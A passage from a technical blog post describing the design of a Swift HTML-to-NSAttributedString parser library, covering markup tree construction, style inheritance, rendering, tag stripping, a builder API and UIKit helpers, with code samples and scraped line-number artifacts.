+        let tag: HTMLTag
+        let tagAttributedString: NSAttributedString
+        let attributes: [String: String]?
+    }
+    
+    typealias T = HTMLElement
+    
+    let markup: Markup
+    let value: HTMLElement
+    init(markup: Markup, value: HTMLElement) {
+        self.markup = markup
+        self.value = value
+    }
+}
+

Convert to Markup Abstract Tree:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
var htmlElementComponents: [HTMLElementMarkupComponent] = []
+let rootMarkup = RootMarkup()
+var currentMarkup: Markup = rootMarkup
+
+let htmlTags: [String: HTMLTag]
+init(htmlTags: [HTMLTag]) {
+  self.htmlTags = Dictionary(uniqueKeysWithValues: htmlTags.map{ ($0.tagName.string, $0) })
+}
+
+// Start Tags Stack, ensure correct pop tag
+// Normalization has already been done before, it should not go wrong, just to ensure
+var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []
+for thisItem in from {
+    switch thisItem {
+    case .start(let item):
+        let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes)
+        let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName))
+        // Use Visitor to ask for the corresponding Markup
+        let markup = visitor.visit(tagName: htmlTag.tagName)
+        
+        // Add itself to the current branch's leaf node
+        // Itself becomes the current branch node
+        htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes)))
+        currentMarkup.appendChild(markup: markup)
+        currentMarkup = markup
+        
+        stackExpectedStartItems.append(item)
+    case .selfClosing(let item):
+        // Directly add to the current branch's leaf node
+        let visitor = HTMLTagNameToMarkupVisitor(attributes: item.attributes)
+        let htmlTag = self.htmlTags[item.tagName] ?? HTMLTag(tagName: ExtendTagName(item.tagName))
+        let markup = visitor.visit(tagName: htmlTag.tagName)
+        htmlElementComponents.append(.init(markup: markup, value: .init(tag: htmlTag, tagAttributedString: item.tagAttributedString, attributes: item.attributes)))
+        currentMarkup.appendChild(markup: markup)
+    case .close(let item):
+        if let lastTagName = stackExpectedStartItems.popLast()?.tagName,
+           lastTagName == item.tagName {
+            // When encountering Close Tag, return to the previous level
+            currentMarkup = currentMarkup.parentMarkup ?? currentMarkup
+        }
+    case .rawString(let attributedString):
+        // Directly add to the current branch's leaf node
+        currentMarkup.appendChild(markup: RawStringMarkup(attributedString: attributedString))
+    }
+}
+
+// print(htmlElementComponents)
+// [(markup: LinkMarkup, (tag: a, attributes: ["href":"zhgchg.li"]...)]
+

Operation result as shown in the figure

Operation result as shown in the figure

Corresponding source code implementation in HTMLParsedResultToHTMLElementWithRootMarkupProcessor.swift

At this point, we have actually completed the functionality of the Selector 🎉

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
public class HTMLSelector: CustomStringConvertible {
+    
+    let markup: Markup
+    let componets: [HTMLElementMarkupComponent]
+    init(markup: Markup, componets: [HTMLElementMarkupComponent]) {
+        self.markup = markup
+        self.componets = componets
+    }
+    
+    public func filter(_ htmlTagName: String) -> [HTMLSelector] {
+        let result = markup.childMarkups.filter({ componets.value(markup: $0)?.tag.tagName.isEqualTo(htmlTagName) ?? false })
+        return result.map({ .init(markup: $0, componets: componets) })
+    }
+
+    //...
+}
+

We can filter leaf node objects layer by layer.

Corresponding source code implementation in HTMLSelector

Parser — HTML to MarkupStyle (Abstract of NSAttributedString.Key)

Next, we need to complete the conversion of HTML to MarkupStyle (NSAttributedString.Key).

NSAttributedString sets the text style through NSAttributedString.Key Attributes. We abstract all fields of NSAttributedString.Key to correspond to MarkupStyle, MarkupStyleColor, MarkupStyleFont, MarkupStyleParagraphStyle.

Purpose:

  • The original data structure of Attributes is [NSAttributedString.Key: Any?]. If exposed directly, it is difficult to control the values users input, and incorrect values may cause crashes, such as .font: 123.
  • Styles need to be inheritable, such as <a><b>test</b></a>, where the style of the test string inherits from the link’s bold (bold+link); if the Dictionary is exposed directly, it is difficult to control the inheritance rules.
  • Encapsulate iOS/macOS (UIKit/Appkit) related objects.

MarkupStyle Struct

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+
public struct MarkupStyle {
+    public var font:MarkupStyleFont
+    public var paragraphStyle:MarkupStyleParagraphStyle
+    public var foregroundColor:MarkupStyleColor? = nil
+    public var backgroundColor:MarkupStyleColor? = nil
+    public var ligature:NSNumber? = nil
+    public var kern:NSNumber? = nil
+    public var tracking:NSNumber? = nil
+    public var strikethroughStyle:NSUnderlineStyle? = nil
+    public var underlineStyle:NSUnderlineStyle? = nil
+    public var strokeColor:MarkupStyleColor? = nil
+    public var strokeWidth:NSNumber? = nil
+    public var shadow:NSShadow? = nil
+    public var textEffect:String? = nil
+    public var attachment:NSTextAttachment? = nil
+    public var link:URL? = nil
+    public var baselineOffset:NSNumber? = nil
+    public var underlineColor:MarkupStyleColor? = nil
+    public var strikethroughColor:MarkupStyleColor? = nil
+    public var obliqueness:NSNumber? = nil
+    public var expansion:NSNumber? = nil
+    public var writingDirection:NSNumber? = nil
+    public var verticalGlyphForm:NSNumber? = nil
+    //...
+
+    // Inherited from...
+    // Default: When the field is nil, fill in the current data object from 'from'
+    mutating func fillIfNil(from: MarkupStyle?) {
+        guard let from = from else { return }
+        
+        var currentFont = self.font
+        currentFont.fillIfNil(from: from.font)
+        self.font = currentFont
+        
+        var currentParagraphStyle = self.paragraphStyle
+        currentParagraphStyle.fillIfNil(from: from.paragraphStyle)
+        self.paragraphStyle = currentParagraphStyle
+        //..
+    }
+
+    // MarkupStyle to NSAttributedString.Key: Any
+    func render() -> [NSAttributedString.Key: Any] {
+        var data: [NSAttributedString.Key: Any] = [:]
+        
+        if let font = font.getFont() {
+            data[.font] = font
+        }
+
+        if let ligature = self.ligature {
+            data[.ligature] = ligature
+        }
+        //...
+        return data
+    }
+}
+
+public struct MarkupStyleFont: MarkupStyleItem {
+    public enum FontWeight {
+        case style(FontWeightStyle)
+        case rawValue(CGFloat)
+    }
+    public enum FontWeightStyle: String {
+        case ultraLight, light, thin, regular, medium, semibold, bold, heavy, black
+        // ...
+    }
+    
+    public var size: CGFloat?
+    public var weight: FontWeight?
+    public var italic: Bool?
+    //...
+}
+
+public struct MarkupStyleParagraphStyle: MarkupStyleItem {
+    public var lineSpacing:CGFloat? = nil
+    public var paragraphSpacing:CGFloat? = nil
+    public var alignment:NSTextAlignment? = nil
+    public var headIndent:CGFloat? = nil
+    public var tailIndent:CGFloat? = nil
+    public var firstLineHeadIndent:CGFloat? = nil
+    public var minimumLineHeight:CGFloat? = nil
+    public var maximumLineHeight:CGFloat? = nil
+    public var lineBreakMode:NSLineBreakMode? = nil
+    public var baseWritingDirection:NSWritingDirection? = nil
+    public var lineHeightMultiple:CGFloat? = nil
+    public var paragraphSpacingBefore:CGFloat? = nil
+    public var hyphenationFactor:Float? = nil
+    public var usesDefaultHyphenation:Bool? = nil
+    public var tabStops: [NSTextTab]? = nil
+    public var defaultTabInterval:CGFloat? = nil
+    public var textLists: [NSTextList]? = nil
+    public var allowsDefaultTighteningForTruncation:Bool? = nil
+    public var lineBreakStrategy: NSParagraphStyle.LineBreakStrategy? = nil
+    //...
+}
+
+public struct MarkupStyleColor {
+    let red: Int
+    let green: Int
+    let blue: Int
+    let alpha: CGFloat
+    //...
+}
+

Corresponding implementation in the source code MarkupStyle

Additionally, refer to the W3c wiki, browser predefined color name enumerates the corresponding color name text & color R,G,B enum: MarkupStyleColorName.swift

HTMLTagStyleAttribute & HTMLTagStyleAttributeVisitor

Let’s talk a bit more about these two objects because HTML Tags are allowed to be styled using CSS settings; for this, we abstract the HTMLTagName and apply it once again to the HTML Style Attribute.

For example, HTML might provide: <a style=”color:red;font-size:14px”>RedLink</a>, which means this link should be set to red and size 14px.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
public protocol HTMLTagStyleAttribute {
+    var styleName: String { get }
+    
+    func accept<V: HTMLTagStyleAttributeVisitor>(_ visitor: V) -> V.Result
+}
+
+public protocol HTMLTagStyleAttributeVisitor {
+    associatedtype Result
+    
+    func visit(styleAttribute: HTMLTagStyleAttribute) -> Result
+    func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result
+    func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result
+    //...
+}
+
+public extension HTMLTagStyleAttributeVisitor {
+    func visit(styleAttribute: HTMLTagStyleAttribute) -> Result {
+        return styleAttribute.accept(self)
+    }
+}
+

Corresponding implementation in the source code HTMLTagStyleAttribute

HTMLTagStyleAttributeToMarkupStyleVisitor

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
struct HTMLTagStyleAttributeToMarkupStyleVisitor: HTMLTagStyleAttributeVisitor {
+    typealias Result = MarkupStyle?
+    
+    let value: String
+    
+    func visit(_ styleAttribute: ColorHTMLTagStyleAttribute) -> Result {
+        // Regex to extract Color Hex or Mapping from HTML Pre-defined Color Name, please refer to the Source Code
+        guard let color = MarkupStyleColor(string: value) else { return nil }
+        return MarkupStyle(foregroundColor: color)
+    }
+    
+    func visit(_ styleAttribute: FontSizeHTMLTagStyleAttribute) -> Result {
+        // Regex to extract 10px -> 10, please refer to the Source Code
+        guard let size = self.convert(fromPX: value) else { return nil }
+        return MarkupStyle(font: MarkupStyleFont(size: CGFloat(size)))
+    }
+    // ...
+}
+

Corresponding implementation in the source code HTMLTagAttributeToMarkupStyleVisitor.swift

init’s value = attribute’s value, converted to the corresponding MarkupStyle field according to the visit type.

HTMLElementMarkupComponentMarkupStyleVisitor

After introducing the MarkupStyle object, we need to convert the result of Normalization’s HTMLElementComponents into MarkupStyle.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+
// MarkupStyle policy
+public enum MarkupStylePolicy {
+    case respectMarkupStyleFromCode // Prioritize from Code, fill in with HTML Style Attribute
+    case respectMarkupStyleFromHTMLStyleAttribute // Prioritize from HTML Style Attribute, fill in with Code
+}
+
+struct HTMLElementMarkupComponentMarkupStyleVisitor: MarkupVisitor {
+
+    typealias Result = MarkupStyle?
+    
+    let policy: MarkupStylePolicy
+    let components: [HTMLElementMarkupComponent]
+    let styleAttributes: [HTMLTagStyleAttribute]
+
+    func visit(_ markup: BoldMarkup) -> Result {
+        // .bold is just a default style defined in MarkupStyle, please refer to the Source Code
+        return defaultVisit(components.value(markup: markup), defaultStyle: .bold)
+    }
+    
+    func visit(_ markup: LinkMarkup) -> Result {
+        // .link is just a default style defined in MarkupStyle, please refer to the Source Code
+        var markupStyle = defaultVisit(components.value(markup: markup), defaultStyle: .link) ?? .link
+        
+        // Get the HtmlElement corresponding to LinkMarkup from HtmlElementComponents
+        // Find the href parameter from the attributes of HtmlElement (HTML carries URL String)
+        if let href = components.value(markup: markup)?.attributes?["href"] as? String,
+           let url = URL(string: href) {
+            markupStyle.link = url
+        }
+        return markupStyle
+    }
+
+    // ...
+}
+
+extension HTMLElementMarkupComponentMarkupStyleVisitor {
+    // Get the custom MarkupStyle specified in the HTMLTag container
+    private func customStyle(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?) -> MarkupStyle? {
+        guard let customStyle = htmlElement?.tag.customStyle else {
+            return nil
+        }
+        return customStyle
+    }
+    
+    // Default action
+    func defaultVisit(_ htmlElement: HTMLElementMarkupComponent.HTMLElement?, defaultStyle: MarkupStyle? = nil) -> Result {
+        var markupStyle: MarkupStyle? = customStyle(htmlElement) ?? defaultStyle
+        // Get the HtmlElement corresponding to LinkMarkup from HtmlElementComponents
+        // Check if the attributes of HtmlElement have a `Style` Attribute
+        guard let styleString = htmlElement?.attributes?["style"],
+              styleAttributes.count > 0 else {
+            // No
+            return markupStyle
+        }
+
+        // Has Style Attributes
+        // Split the Style Value string into an array
+        // font-size:14px;color:red -> ["font-size":"14px","color":"red"]
+        let styles = styleString.split(separator: ";").filter { $0.trimmingCharacters(in: .whitespacesAndNewlines) != "" }.map { $0.split(separator: ":") }
+        
+        for style in styles {
+            guard style.count == 2 else {
+                continue
+            }
+            // e.g font-size
+            let key = style[0].trimmingCharacters(in: .whitespacesAndNewlines)
+            // e.g. 14px
+            let value = style[1].trimmingCharacters(in: .whitespacesAndNewlines)
+            
+            if let styleAttribute = styleAttributes.first(where: { $0.isEqualTo(styleName: key) }) {
+                // Use the HTMLTagStyleAttributeToMarkupStyleVisitor mentioned above to convert back to MarkupStyle
+                let visitor = HTMLTagStyleAttributeToMarkupStyleVisitor(value: value)
+                if var thisMarkupStyle = visitor.visit(styleAttribute: styleAttribute) {
+                    // When Style Attribute has a return value..
+                    // Merge the result of the previous MarkupStyle
+                    thisMarkupStyle.fillIfNil(from: markupStyle)
+                    markupStyle = thisMarkupStyle
+                }
+            }
+        }
+        
+        // If there is a default Style
+        if var defaultStyle = defaultStyle {
+            switch policy {
+                case .respectMarkupStyleFromHTMLStyleAttribute:
+                  // Prioritize Style Attribute MarkupStyle, then
+                  // Merge the result of defaultStyle
+                    markupStyle?.fillIfNil(from: defaultStyle)
+                case .respectMarkupStyleFromCode:
+                  // Prioritize defaultStyle, then
+                  // Merge the result of Style Attribute MarkupStyle
+                  defaultStyle.fillIfNil(from: markupStyle)
+                  markupStyle = defaultStyle
+            }
+        }
+        
+        return markupStyle
+    }
+}
+

Corresponding implementation in the source code HTMLTagAttributeToMarkupStyleVisitor.swift

We will define some default styles in MarkupStyle. Some Markup will use the default style if the desired style is not specified from outside the code.

There are two style inheritance strategies:

  • respectMarkupStyleFromCode: Use the default style as the primary; then see what styles can be supplemented from the Style Attributes, ignoring if there is already a value.
  • respectMarkupStyleFromHTMLStyleAttribute: Use the Style Attributes as the primary; then see what styles can be supplemented from the default style, ignoring if there is already a value.

HTMLElementWithMarkupToMarkupStyleProcessor

Convert the Normalization result into AST & MarkupStyleComponent.

Declare a new MarkupComponent to store the corresponding MarkupStyle:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
struct MarkupStyleComponent: MarkupComponent {
+    typealias T = MarkupStyle
+    
+    let markup: Markup
+    let value: MarkupStyle
+    init(markup: Markup, value: MarkupStyle) {
+        self.markup = markup
+        self.value = value
+    }
+}
+

Simple traversal of the Markup Tree & HTMLElementMarkupComponent structure:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+
let styleAttributes: [HTMLTagStyleAttribute]
+let policy: MarkupStylePolicy
+    
+func process(from: (Markup, [HTMLElementMarkupComponent])) -> [MarkupStyleComponent] {
+  var components: [MarkupStyleComponent] = []
+  let visitor = HTMLElementMarkupComponentMarkupStyleVisitor(policy: policy, components: from.1, styleAttributes: styleAttributes)
+  walk(markup: from.0, visitor: visitor, components: &components)
+  return components
+}
+    
+func walk(markup: Markup, visitor: HTMLElementMarkupComponentMarkupStyleVisitor, components: inout [MarkupStyleComponent]) {
+        
+  if let markupStyle = visitor.visit(markup: markup) {
+    components.append(.init(markup: markup, value: markupStyle))
+  }
+        
+  for markup in markup.childMarkups {
+    walk(markup: markup, visitor: visitor, components: &components)
+  }
+}
+
+// print(components)
+// [(markup: LinkMarkup, MarkupStyle(link: https://zhgchg.li, color: .blue)]
+// [(markup: BoldMarkup, MarkupStyle(font: .init(weight: .bold))]
+

Corresponding implementation in the original code HTMLElementWithMarkupToMarkupStyleProcessor.swift

The process result is shown in the above image

The process result is shown in the above image

Render — Convert To NSAttributedString

Now that we have the HTML Tag abstract tree structure and the MarkupStyle corresponding to the HTML Tag, the final step is to produce the final NSAttributedString rendering result.

MarkupNSAttributedStringVisitor

visit markup to NSAttributedString

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+
struct MarkupNSAttributedStringVisitor: MarkupVisitor {
+    typealias Result = NSAttributedString
+    
+    let components: [MarkupStyleComponent]
+    // root / base MarkupStyle, specified externally, for example, the size of the entire string
+    let rootStyle: MarkupStyle?
+    
+    func visit(_ markup: RootMarkup) -> Result {
+        // Look down to the RawString object
+        return collectAttributedString(markup)
+    }
+    
+    func visit(_ markup: RawStringMarkup) -> Result {
+        // Return Raw String
+        // Collect all MarkupStyles in the chain
+        // Apply Style to NSAttributedString
+        return applyMarkupStyle(markup.attributedString, with: collectMarkupStyle(markup))
+    }
+    
+    func visit(_ markup: BoldMarkup) -> Result {
+        // Look down to the RawString object
+        return collectAttributedString(markup)
+    }
+    
+    func visit(_ markup: LinkMarkup) -> Result {
+        // Look down to the RawString object
+        return collectAttributedString(markup)
+    }
+    // ...
+}
+
+private extension MarkupNSAttributedStringVisitor {
+    // Apply Style to NSAttributedString
+    func applyMarkupStyle(_ attributedString: NSAttributedString, with markupStyle: MarkupStyle?) -> NSAttributedString {
+        guard let markupStyle = markupStyle else { return attributedString }
+        let mutableAttributedString = NSMutableAttributedString(attributedString: attributedString)
+        mutableAttributedString.addAttributes(markupStyle.render(), range: NSMakeRange(0, mutableAttributedString.string.utf16.count))
+        return mutableAttributedString
+    }
+
+    func collectAttributedString(_ markup: Markup) -> NSMutableAttributedString {
+        // collect from downstream
+        // Root -> Bold -> String("Bold")
+        //      \
+        //       > String("Test")
+        // Result: Bold Test
+        // Recursively visit and combine the final NSAttributedString by looking down layer by layer for raw strings
+        return markup.childMarkups.compactMap({ visit(markup: $0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in
+            partialResult.append(attributedString)
+            return partialResult
+        }
+    }
+    
+    func collectMarkupStyle(_ markup: Markup) -> MarkupStyle? {
+        // collect from upstream
+        // String("Test") -> Bold -> Italic -> Root
+        // Result: style: Bold+Italic
+        // Inherit styles layer by layer by looking up for parent tag's markupstyle
+        var currentMarkup: Markup? = markup.parentMarkup
+        var currentStyle = components.value(markup: markup)
+        while let thisMarkup = currentMarkup {
+            guard let thisMarkupStyle = components.value(markup: thisMarkup) else {
+                currentMarkup = thisMarkup.parentMarkup
+                continue
+            }
+
+            if var thisCurrentStyle = currentStyle {
+                thisCurrentStyle.fillIfNil(from: thisMarkupStyle)
+                currentStyle = thisCurrentStyle
+            } else {
+                currentStyle = thisMarkupStyle
+            }
+
+            currentMarkup = thisMarkup.parentMarkup
+        }
+        
+        if var currentStyle = currentStyle {
+            currentStyle.fillIfNil(from: rootStyle)
+            return currentStyle
+        } else {
+            return rootStyle
+        }
+    }
+}
+

Corresponding implementation in the source code MarkupNSAttributedStringVisitor.swift

Operation process and result as shown in the figure

Operation process and result as shown in the figure

Finally, we can get:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
Li{
+    NSColor = "Blue";
+    NSFont = "<UICTFont: 0x145d17600> font-family: \".SFUI-Regular\"; font-weight: normal; font-style: normal; font-size: 13.00pt";
+    NSLink = "https://zhgchg.li";
+}nk{
+    NSColor = "Blue";
+    NSFont = "<UICTFont: 0x145d18710> font-family: \".SFUI-Semibold\"; font-weight: bold; font-style: normal; font-size: 13.00pt";
+    NSLink = "https://zhgchg.li";
+}Bold{
+    NSFont = "<UICTFont: 0x145d18710> font-family: \".SFUI-Semibold\"; font-weight: bold; font-style: normal; font-size: 13.00pt";
+}
+

🎉🎉🎉🎉Completed🎉🎉🎉🎉

At this point, we have completed the entire conversion process from HTML String to NSAttributedString.

Stripper — Stripping HTML Tags

Stripping HTML tags is relatively simple, just need to:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
func attributedString(_ markup: Markup) -> NSAttributedString {
+  if let rawStringMarkup = markup as? RawStringMarkup {
+    return rawStringMarkup.attributedString
+  } else {
+    return markup.childMarkups.compactMap({ attributedString($0) }).reduce(NSMutableAttributedString()) { partialResult, attributedString in
+      partialResult.append(attributedString)
+      return partialResult
+    }
+  }
+}
+

Corresponding implementation in the source code MarkupStripperProcessor.swift

Similar to Render, but purely returns the content after finding RawStringMarkup.

Extend — Dynamic Extension

To extend and cover all HTMLTag/Style Attributes, a dynamic extension port is opened, making it convenient to dynamically extend objects directly from the code.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
public struct ExtendTagName: HTMLTagName {
+    public let string: String
+    
+    public init(_ w3cHTMLTagName: WC3HTMLTagName) {
+        self.string = w3cHTMLTagName.rawValue
+    }
+    
+    public init(_ string: String) {
+        self.string = string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagNameVisitor {
+        return visitor.visit(self)
+    }
+}
+// to
+final class ExtendMarkup: Markup {
+    weak var parentMarkup: Markup? = nil
+    var childMarkups: [Markup] = []
+
+    func accept<V>(_ visitor: V) -> V.Result where V : MarkupVisitor {
+        return visitor.visit(self)
+    }
+}
+
+//----
+
+public struct ExtendHTMLTagStyleAttribute: HTMLTagStyleAttribute {
+    public let styleName: String
+    public let render: ((String) -> (MarkupStyle?)) // Dynamically change MarkupStyle using closure
+    
+    public init(styleName: String, render: @escaping ((String) -> (MarkupStyle?))) {
+        self.styleName = styleName
+        self.render = render
+    }
+    
+    public func accept<V>(_ visitor: V) -> V.Result where V : HTMLTagStyleAttributeVisitor {
+        return visitor.visit(self)
+    }
+}
+

ZHTMLParserBuilder

Finally, we use the Builder Pattern to allow external Modules to quickly construct the objects required by ZMarkupParser and ensure Access Level Control.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+
public final class ZHTMLParserBuilder {
+    
+    private(set) var htmlTags: [HTMLTag] = []
+    private(set) var styleAttributes: [HTMLTagStyleAttribute] = []
+    private(set) var rootStyle: MarkupStyle?
+    private(set) var policy: MarkupStylePolicy = .respectMarkupStyleFromCode
+    
+    public init() {
+        
+    }
+    
+    public static func initWithDefault() -> Self {
+        var builder = Self.init()
+        for htmlTagName in ZHTMLParserBuilder.htmlTagNames {
+            builder = builder.add(htmlTagName)
+        }
+        for styleAttribute in ZHTMLParserBuilder.styleAttributes {
+            builder = builder.add(styleAttribute)
+        }
+        return builder
+    }
+    
+    public func set(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle?) -> Self {
+        return self.add(htmlTagName, withCustomStyle: markupStyle)
+    }
+    
+    public func add(_ htmlTagName: HTMLTagName, withCustomStyle markupStyle: MarkupStyle? = nil) -> Self {
+        // Only one tagName can exist
+        htmlTags.removeAll { htmlTag in
+            return htmlTag.tagName.string == htmlTagName.string
+        }
+        
+        htmlTags.append(HTMLTag(tagName: htmlTagName, customStyle: markupStyle))
+        
+        return self
+    }
+    
+    public func add(_ styleAttribute: HTMLTagStyleAttribute) -> Self {
+        styleAttributes.removeAll { thisStyleAttribute in
+            return thisStyleAttribute.styleName == styleAttribute.styleName
+        }
+        
+        styleAttributes.append(styleAttribute)
+        
+        return self
+    }
+    
+    public func set(rootStyle: MarkupStyle) -> Self {
+        self.rootStyle = rootStyle
+        return self
+    }
+    
+    public func set(policy: MarkupStylePolicy) -> Self {
+        self.policy = policy
+        return self
+    }
+    
+    public func build() -> ZHTMLParser {
+        // ZHTMLParser init is only open for internal use, external cannot directly init
+        // Can only be initialized through ZHTMLParserBuilder
+        return ZHTMLParser(htmlTags: htmlTags, styleAttributes: styleAttributes, policy: policy, rootStyle: rootStyle)
+    }
+}
+

Corresponding implementation in ZHTMLParserBuilder.swift

initWithDefault will add all implemented HTMLTagName/Style Attribute by default

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+
public extension ZHTMLParserBuilder {
+    static var htmlTagNames: [HTMLTagName] {
+        return [
+            A_HTMLTagName(),
+            B_HTMLTagName(),
+            BR_HTMLTagName(),
+            DIV_HTMLTagName(),
+            HR_HTMLTagName(),
+            I_HTMLTagName(),
+            LI_HTMLTagName(),
+            OL_HTMLTagName(),
+            P_HTMLTagName(),
+            SPAN_HTMLTagName(),
+            STRONG_HTMLTagName(),
+            U_HTMLTagName(),
+            UL_HTMLTagName(),
+            DEL_HTMLTagName(),
+            TR_HTMLTagName(),
+            TD_HTMLTagName(),
+            TH_HTMLTagName(),
+            TABLE_HTMLTagName(),
+            IMG_HTMLTagName(handler: nil),
+            // ...
+        ]
+    }
+}
+
+public extension ZHTMLParserBuilder {
+    static var styleAttributes: [HTMLTagStyleAttribute] {
+        return [
+            ColorHTMLTagStyleAttribute(),
+            BackgroundColorHTMLTagStyleAttribute(),
+            FontSizeHTMLTagStyleAttribute(),
+            FontWeightHTMLTagStyleAttribute(),
+            LineHeightHTMLTagStyleAttribute(),
+            WordSpacingHTMLTagStyleAttribute(),
+            // ...
+        ]
+    }
+}
+

ZHTMLParser init is only open internally, external cannot directly init, can only init through ZHTMLParserBuilder.

ZHTMLParser encapsulates Render/Selector/Stripper operations:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+
public final class ZHTMLParser: ZMarkupParser {
+    let htmlTags: [HTMLTag]
+    let styleAttributes: [HTMLTagStyleAttribute]
+    let rootStyle: MarkupStyle?
+
+    internal init(...) {
+    }
+    
+    // Get link style attributes
+    public var linkTextAttributes: [NSAttributedString.Key: Any] {
+        // ...
+    }
+    
+    public func selector(_ string: String) -> HTMLSelector {
+        // ...
+    }
+    
+    public func selector(_ attributedString: NSAttributedString) -> HTMLSelector {
+        // ...
+    }
+    
+    public func render(_ string: String) -> NSAttributedString {
+        // ...
+    }
+    
+    // Allow rendering of NSAttributedString within nodes using HTMLSelector results
+    public func render(_ selector: HTMLSelector) -> NSAttributedString {
+        // ...
+    }
+    
+    public func render(_ attributedString: NSAttributedString) -> NSAttributedString {
+        // ...
+    }
+    
+    public func stripper(_ string: String) -> String {
+        // ...
+    }
+    
+    public func stripper(_ attributedString: NSAttributedString) -> NSAttributedString {
+        // ...
+    }
+    
+  // ...
+}
+

Corresponding implementation in the original code ZHTMLParser.swift

UIKit Issues

The result of NSAttributedString is most commonly displayed in a UITextView, but note:

  • The link style in UITextView is uniformly determined by the linkTextAttributes setting, not by the NSAttributedString.Key setting, and individual styles cannot be set; hence the ZMarkupParser.linkTextAttributes opening.
  • UILabel currently has no way to change the link style, and since UILabel does not have TextStorage, if you want to load NSTextAttachment images, you need to handle UILabel separately.
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
public extension UITextView {
+    func setHtmlString(_ string: String, with parser: ZHTMLParser) {
+        self.setHtmlString(NSAttributedString(string: string), with: parser)
+    }
+    
+    func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) {
+        self.attributedText = parser.render(string)
+        self.linkTextAttributes = parser.linkTextAttributes
+    }
+}
+public extension UILabel {
+    func setHtmlString(_ string: String, with parser: ZHTMLParser) {
+        self.setHtmlString(NSAttributedString(string: string), with: parser)
+    }
+    
+    func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) {
+        let attributedString = parser.render(string)
+        attributedString.enumerateAttribute(NSAttributedString.Key.attachment, in: NSMakeRange(0, attributedString.string.utf16.count), options: []) { (value, effectiveRange, nil) in
+            guard let attachment = value as? ZNSTextAttachment else {
+                return
+            }
+            
+            attachment.register(self)
+        }
+        
+        self.attributedText = attributedString
+    }
+}
+

Therefore, by extending UIKit, external users only need to use setHTMLString() to complete the binding.

Complex Rendering Items— List Items

Record of implementing list items.

